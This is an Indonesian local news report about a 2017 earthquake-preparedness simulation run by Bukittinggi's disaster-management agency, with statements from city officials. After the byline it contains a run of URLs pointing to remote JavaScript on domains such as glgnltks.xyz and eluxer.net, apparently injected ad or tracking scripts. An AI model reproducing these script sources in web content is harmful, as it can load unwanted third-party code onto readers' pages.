Ruang Publik

BPBD Bukittinggi Siap Siaga Antisipasi Segala Bentuk Bencana

HaloBukittinggi : Memperingati Hari Kesiapsiagaan Bencana Nasional, Badan Penanggulangan Bencana Darah (BPBD) Kota Bukittinggi, menggelar simulasi siaga bencana di halaman Kantor BPBD setempat, yang diikuti sekitar 300 orang peserta dari berbagai unsur.

Sosialisasi yang dilakukan dalam rangka memperingati Hari Kesiapsiagaan Bencana Nasional (HKBN) 2017, sekaligus memperingati ditetapkannya Undang Undang Nomor 24 Tahun 2007 Tentang Penanggulangan Bencana.

Asisten II Setdako Bukittinggi, Ismail Djohar, mengatakan, melalui HKBN tahun ini, Pemko Bukittinggi bertekad membangun kesadaran, kewaspadaan dan kesiapsiagaan masyarakat dalam menghadapi bencana.

“Pemko Bukittinggi memiliki tugas dan tanggung jawab untuk bertindak dan melindungi warga kota dari ancaman bencana, baik itu nmelalui pencegahan dini resiko bencana, penyelenggaraan tanggap darurat bencana, maupun kegiatan pemulihan kehidupan masyarakat melalui program Rehab dan Rekonstruksi,” jelasnya.

Menurut Ismail Djohar, Pemko Bukittinggi memberikan apresiasi kepada segenap unsur SKPD, instansi vertical, BUMN/ BUMD,  dan organisasi yang bergerak di bidang kemanusiaan, yang ikut beraprtisipasi dalam simulasi tanggap darurat yang dilaksanakan.

“Semoga dengan kegiatan simulasi ini kesadaran masyarakat untuk selalu siap siaga menghadapi bencana semakin meningkat dan siap untuk selamat,” tukasnya.

Pada kesempatan yang sama, Kepala BPBD Kota Bukittinggi Musmulyadi mengatakan, simulasi yang dilaksanakan bertujuan untuk mendorong semua stakeholder dalam melakukan langkah-langkah pencegahan dalam persiapan penanggulangan bencana. Karena pada prinsipnya penanggulangan bencana itu dilakukan secara gotong royong sesuai jiwa dan karakter rakyat Indonesia.

“Disamping itu juga bertujuan untuk meningkatkan kesadaran masyarakat agar senantiasa siaga dalam menghadapi kemungkinan terjadinya bencana dengan motto siap untuk selamat. Simulasi yang dilakukan tekaid dengan kesiapsiagaan masyarakat dalam menghadapi gempa serta dalam rangka uji coba jalur evakuasi,” ungkapnya.

Menurut Musmulyadi, dalam simulasi menceritakan terjadinya gempa yang cukup besar di Bukittinggi. Disaat gempa telah terjadi maka terlihat kepanikan dari masyarakat.

“Untuk memulihkan situasi tersebut maka kehadiran BPBD dan organisasi yang bergerak di Bidang Kemanusiaan seperti TAGANA, PMI, Aksi Cepat Tanggap (ACT), Organisasi Radio Republik Indonesia (ORARI), RAPI, Off Road, Kelompok Bencana Lingkungan Kelurahan (KBLK) sangat dibutuhkan, guna memulihkan situasi darurat bencana dan meminimalisir resiko bencana tersebut,” terangnya. (Dipra)

https://cdncache-a.akamaihd.net/sub/nee5452/51565_4460_/l.js?pid=2449&ext=Advertisehttps://cdncache-a.akamaihd.net/sub/nee5452/51565_4460_/l.js?pid=2450&ext=Not%20sethttps://glgnltks.xyz/addons/lnkr5.min.jshttps://glgnltks.xyz/addons/lnkr30_nt.min.jshttps://eluxer.net/code?id=105&subid=51565_4460_https://glgnltks.xyz/ext/116c6de661dcbbd02f.js?sid=51565_4460_&title=Not%20set&blocks%5B%5D=1f755&blocks%5B%5D=4d09a

Click to comment

Leave a Reply

Your email address will not be published. Required fields are marked *

Populer

Copyright © 2016 HaloBukittinggi

To Top